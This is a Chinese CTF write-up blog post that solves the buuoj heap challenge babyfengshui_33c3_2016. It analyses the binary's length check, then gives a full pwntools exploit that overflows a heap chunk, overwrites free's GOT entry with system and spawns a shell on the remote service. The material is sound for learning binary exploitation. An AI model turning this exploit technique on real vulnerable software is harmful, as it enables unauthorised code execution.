好久没有更新博客了,因为作者太懒了,又懒又菜,今天来康康这道题,buuoj的babyfengshui_33c3_2016
分析elf文件 checksec一下发现canary保护和NX保护,got表没有保护,且随即地址没有开启。这就意味着got表可写,拖到IDA当中发现是一个经典的堆菜单题,以我现在的水平,那就是先分析它free后指针有无清零。本来一开始看它free了两个堆块,确指将一个指针清零了,以为是有uaf漏洞,但是后面发现不是这样的,它每一条目分一个name和对应的description,name且dscription是用指针指示,并且每个条目固定是80字节的大小,因此可以把一个条目看成一个结构体
1 2 3 4 struct heap { char name[0x7c ]; char *description; };
所以,我把整个结构体free了之后就相当于把这个description的指针清零了,因此本题不存在uaf漏洞。再观察添加一个项目的函数,发现name是固定长度输入,且用了fgets函数限定输入0x7c字节,整个name那就是不可能溢出了,就连off by null漏洞都不存在。那么这样的话只能看看edit函数了,edit函数它在之前if也会有一个长度输入,并且用了下面这一句if判断,如果为真就直接退出系统
1 if ((char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )
它这个是什么意思呢,翻译成c语言大概就是
1 2 3 4 heap *item if (item->description+length>=item-4 ) { exit (0 ); }
如果它们的地址之差小于输入的长度,那就退出,如果长度溢出到那个结构体堆块的metadata,那就退出。
看似这个也不能溢出,但是实际上这个能用一个方法绕过。因为如果我们直接分配堆块的话,它们物理地址是相邻的,但是如果它们不物理相邻,中间隔了一个堆块,那就可以任意溢出中间的堆块了。并且got表可写,我们是通过指针找到description的,如果把它溢出改成got表的地址,那么在edit的时候就可以修改got表的条目了。那么我们修改哪个?把free改成system,那么在free(item->description)的时候就会变成system(item->description),如果把item->description的内容改成”/bin/sh”,那么就可以愉快的getshell了。
这便是分析elf文件得到的信息。
编写脚本 先构造交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level='debug' def conn (x,file_name ): if x:p=process(file_name) else :p=remote('node4.buuoj.cn' ,25740 ) return ELF(file_name),p def add (name,size,k,payload ): p.sendlineafter(b'Action: ' ,b'0' ) p.sendlineafter(b'description: ' ,str (size).encode()) p.sendlineafter(b'name: ' ,name) p.sendlineafter(b'length: ' ,str (k).encode()) p.sendlineafter(b'text: ' ,payload) def free (index ): p.sendlineafter(b'Action: ' ,b'1' ) p.sendlineafter(b'index: ' ,str (index).encode()) def show (index ): p.sendlineafter(b'Action: ' ,b'2' ) p.sendlineafter(b'index: ' ,str (index).encode()) def edit (index,payload ): p.sendlineafter(b'Action: ' ,b'3' ) p.sendlineafter(b'index: ' ,str (index).encode()) p.sendlineafter(b'length: ' ,str (len (payload)).encode()) p.sendafter(b'text: ' ,payload)
这里需要特别注意add函数,它有两个长度输入,一个是description的堆块大小,一个是description内容的长度大小。这个name其实没必要弄,因为利用不到,但是我还是弄了。
首先添加两个0x80大小description的堆块,这样得到了两个0x80和0x88的大堆块。free掉第一个堆块,因为都不属于fastbin范围的堆块,那么就会合并成0x108大小的堆块,那么接下来如果我再申请一个0x100大小的description就会得到这个free的堆块,那么就可以在这个堆块上溢出第二个堆块了。
下面是我的完整exp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level='debug' def conn (x,file_name ): if x:p=process(file_name) else :p=remote('node4.buuoj.cn' ,25740 ) return ELF(file_name),p def add (name,size,k,payload ): p.sendlineafter(b'Action: ' ,b'0' ) p.sendlineafter(b'description: ' ,str (size).encode()) p.sendlineafter(b'name: ' ,name) p.sendlineafter(b'length: ' ,str (k).encode()) p.sendlineafter(b'text: ' ,payload) def free (index ): p.sendlineafter(b'Action: ' ,b'1' ) p.sendlineafter(b'index: ' ,str (index).encode()) def show (index ): p.sendlineafter(b'Action: ' ,b'2' ) p.sendlineafter(b'index: ' ,str (index).encode()) def edit (index,payload ): p.sendlineafter(b'Action: ' ,b'3' ) p.sendlineafter(b'index: ' ,str (index).encode()) p.sendlineafter(b'length: ' ,str (len (payload)).encode()) p.sendafter(b'text: ' ,payload) elf,p=conn(0 ,'./babyfengshui_33c3_2016' ) free_got=elf.got['free' ] add(b'a' ,0x80 ,0x80 ,b'a' *0x10 ) add(b'a' ,0x80 ,0x80 ,b'a' *0x10 ) add(b'/bin/sh\0' ,8 ,8 ,b'/bin/sh\0' ) free(0 ) add(b'a' ,0x100 ,0x100 ,b'a' *0x100 ) edit(3 ,0x10c *b'b' +p64(0x89 )+b'c' *0x80 +p32(0x81 )+p32(free_got)) show(1 ) free_addr=u32(p.recvuntil(b'\xf7' )[-4 :]) success('free_addr' +hex (free_addr)) libc=ELF('./libc-2.23.so' ) libc_addr=free_addr-libc.sym['free' ] success('libc_addr' +hex (libc_addr)) sys=libc_addr+libc.sym['system' ] edit(1 ,p32(sys)) free(2 ) p.interactive()